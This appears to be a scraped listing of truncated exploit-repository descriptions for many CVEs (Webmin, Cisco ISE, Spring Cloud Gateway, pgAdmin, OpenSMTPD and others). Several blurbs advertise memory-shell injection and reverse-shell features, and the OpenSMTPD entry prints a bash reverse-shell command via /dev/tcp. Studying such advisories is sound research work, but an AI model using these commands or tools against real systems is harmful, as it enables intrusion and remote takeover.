CVE-2012-2982-Webmin-Exploit

Webmin 1.590 远程命令执行漏洞利用（CVE-2012-2982） 概述 本仓库包含 CVE-2012-2982 的概念验证（PoC）利用脚本，该漏洞是一个影响 Webmin 1.590 及更早版本 的远程认证命令执行漏洞。该漏洞位于 /file/show.cgi 端点，攻击者可以通过在被操纵的请求中注入特殊字符（例如 | 管道符号）来执行任意命令。 本 PoC 仅用于 教育和安全研究目的 。未经许可利用他人系统是非法的、不道德的。 CVE-2012-2982 详情 描述 Webmin 是一款流行的基于 Web 的系统管理工具，用于管理基于 Unix 的系统。在 1.590...

GL.iNet-Multiple-Vulnerabilities

GL.iNet 多个漏洞 本仓库包含以下漏洞的利用程序： CVE-2023-46454: 在固件版本为 v4.3.7 的 GL.iNET GL-AR300M 路由器中，可以通过在包信息功能中构造特制的包名来注入任意 shell 命令。 CVE-2023-46455: 在固件版本为 v4.3.7 的 GL.iNET GL-AR300M 路由器中，可以通过 OpenVPN 客户端文件上传功能中的路径遍历攻击写入任意文件。 CVE-2023-46456: 在固件版本为 v3.216 的 GL.iNET GL-AR300M 路由器中，可以通过 OpenVPN 客户端文件上传功能注入任意 shel...

CVE-2025-20281-2-Cisco-ISE-RCE

CVE-2025-20281-2-Cisco-ISE-RCE 针对 Cisco ISE API 的 CVE-2025-20281 RCE 的未授权 Python PoC CVE-2025-20281 未授权 PoC 一个极简的 Python 概念验证脚本，通过向 InternalUser 资源中注入任意 shell 命令，利用 Cisco ISE 的 ERS API 中的未授权 RCE（CVE-2025-20281）。 警告： 仅在您拥有或获得明确授权的系统上运行。滥用此工具是违法的。 特性 无需身份验证 支持两种模式： --whoami：在目标上运行 whoami 并显示 HTTP 响...

CVE-2022-22947

CVE-2022-22947 内存马注入 支持注入三类内存马 root@kitploit: Usage: usage -t -u Options: -h, --help show this help message and exit -t TYPE switch one : spring, netty, godzilla -u URL url 以哥斯拉马注入为例 root@kitploit: python3 -t godzilla -u http://127.0.0.1 参考文章...

CVE-2024-36401-WoodpeckerPlugin

CVE-2024-36401-WoodpeckerPlugin 简介 CVE-2024-36401 批量探测和利用，支持自定义内存马注入 1. 可批量探测 2. 对 url 地址后端已进行过滤（只管丢 url 就行） 3. 可以自定义生成内存马进行注入（默认的内存马注入已添加注入器类名: java.lang.test 「目的是为了JDK11下的defineAnonymousClass绕过」） 安装 下载源码执行 root@kitploit: mvn package 将 target 下的jar包放在 woodpecker-framework 下的 plugin 文件夹中...

ForgottenButNotGone

Olvidados pero no desaparecidos Este repositorio contiene scripts de prueba de concepto para las vulnerabilidades presentadas en la charla "Olvidados pero no desaparecidos: RCE no autenticados y LPE en servicios Linux heredados" de Black Hat USA 2026 y DEF CON 34. CVE-2026-28372 Escalada de...

CVE-2025-55182-POC

CVE-2025-55182 Next.js RCE Scanner CVE-2025-55182 漏洞扫描与利用工具，针对 Next.js 应用程序的远程代码执行漏洞。支持批量检测、命令执行、哥斯拉内存马注入以及反弹 Shell 功能。 ⚠️ 本工具仅供安全研究和授权测试使用，请勿用于非法用途。 特性 多目标扫描 ：支持单个 URL、文件列表（每行一个 URL）以及包含多个 .txt 文件的文件夹。 多线程并发 ：可自定义线程数，提升扫描效率。 漏洞验证 ：通过计算随机数乘积的方式验证漏洞是否存在。 命令执行 ：在漏洞目标上执行任意系统命令（支持 Linux 和 Windows）。...

CVE-2025-13780

CVE-2025-13780：pgAdmin 4 = 8.14 RCE 扫描器 针对 CVE-2025-13780 的全面漏洞扫描器，该漏洞是 pgAdmin 4 版本 ≤ 8.14 中的一个远程代码执行 RCE 漏洞。 🔍 漏洞详情 该漏洞存在于 pgAdmin 4 的 恢复 功能中。应用程序尝试使用正则表达式阻止危险 shell 命令（以 \ 开头）。但是，此检查可以被绕过。 易受攻击的正则表达式 ：^|\n \t\ 绕过方法 ： 1. UTF-8 BOM ：预置 \xef\xbb\xbf 可使正则表达式匹配失败 2. CRLF 注入 ：在反斜杠前使用 \n\r 而不是 \n 📦 安...

spring_cloud_gateway_memshell

CVE-2022-22947 memshell 此脚本不完善,仅作学习用途,请勿非法使用 基于 c0ny1 大佬的博客做的学习脚本,可写入netty和spring内存马. 测试环境为 vulhub root@kitploit: eg:xx.py http://127.0.0.1:8080 netty whoami...

poc-rebar3

Rebar3 Shell 注入（CVE-2020-13802） 概念验证 root@kitploit: git clone https://github.com/vulnbe/poc-rebar3.git cd poc-rebar3 rebar3 clean 致谢 Alexey Pronin @vulnbe 参考 Rebar3 漏洞分析 漏洞修复 PR CVE-2020-13802 CWE-78：OS 命令中特殊元素的不当中和（'OS 命令注入'）...

CVE-2020-7247

CVE-2020-7247 该漏洞存在于OpenBSD的邮件服务器OpenSMTPD的“smtpmailaddr”函数中，影响OpenBSD 6.6版本。攻击者可利用该漏洞以root用户身份执行任意shell命令，例如“sleep 66”。 如何使用？ python3 getShell.py 如果需要反弹shell，可以这样运行： python3 getShell.py 'bash -c "exec bash -i & /dev/tcp/IP/PORT &1"' 重要提示 根据实际情况修改此利用脚本中的某些内容，如RCPT to等（如有需要）。 更多详细解释请参阅这篇文章：...

CVE-2026-54575

mport is the MidnightBSD Package Manager. Prior to 2.7.8, privileged package fetch and cache-cleaning operations used race-prone path handling across libmport/fetch.c, libmport/clean.c, libmport/util.c, libmport/bundlereadinstallpkg.c, libmport/deleteprimative.c, and...

CVE-2020-16846-Saltstack-Salt-API

CVE-2020-16846-Saltstack-Salt-API 漏洞说明：在 SaltStack Salt 至 3002 版本中发现了一个问题。当 SSH 客户端启用时，向 Salt API 发送特制的 Web 请求可能导致 shell 注入。关于此漏洞的详细信息可在此处找到： https://www.zerodayinitiative.com/blog/2020/11/24/detailing-saltstack-salt-command-injection-vulnerabilities 为了练习和学习目的，我决定创建一个存在漏洞的实例并利用它。...

@cyclonedx/cyclonedx-npm: Shell Injection via Unsanitized --workspace Argument on Windows

Summary A Windows-specific command injection vulnerability exists in @cyclonedx/cyclonedx-npm when the CLI is invoked with the --workspace option. User-supplied --workspace values can be passed to a shell command without proper neutralization on the Windows fallback execution path, enabling...

CVE-2026-71538

@cyclonedx/cyclonedx-npm prior to 6.0.0 is vulnerable to a Windows-specific shell injection in the fallback execution path of src/npmRunner.ts, used when npm_execpath does not resolve the npm CLI. An untrusted value passed to the --workspace option is incorporated into a shell command without san...

vulnx

VulnX Vulnx 🕷️ 是一个智能机器人自动Shell注入器，能够检测多种类型CMS的漏洞...

poc-yaws-cgi-shell-injection

Yaws Web 服务器中的操作系统命令注入（CVE-2020-24916） 概念验证 构建测试镜像： docker build -t vulnbe/yaws-pocs:shell-injection-appmod-cgi -f Dockerfile . 和/或 运行容器 docker run --rm -d -i -p 127.0.0.1:8000:8080 vulnbe/yaws-pocs:shell-injection-appmod-cgi root@kitploit: curl...

spinnaker-poc

POCs de Vulnerabilidades de Spinnaker Demostraciones de prueba de concepto para CVE-2026-32604 y CVE-2026-32613, dos vulnerabilidades de severidad 10.0 en Spinnaker que permiten ejecución de código y robo de credenciales de la nube de producción. Video explicativo sobre cómo usar estos POCs Blog...

CVE-2026-92580

AVideo through 29.0 in the CloneSite plugin is vulnerable to stored OS command injection. In plugin/CloneSite/cloneClient.json.php (~line 270), the stored SSH password is substituted into the command sshpass -p '{password}' rsync ... via a plain str_replace with no escaping, so a single quote bre...

CVE-2026-30225-OliveTin-RCE

OliveTin — ejecución de acciones no autenticada → RCE + CVE-2026-30225 PoC para escalada de privilegios / ejecución remota de código contra instancias de OliveTin que se ejecutan con los valores predeterminados de invitado incluidos. Verificado contra OliveTin 3000.10.0 ejecutándose como root HTB...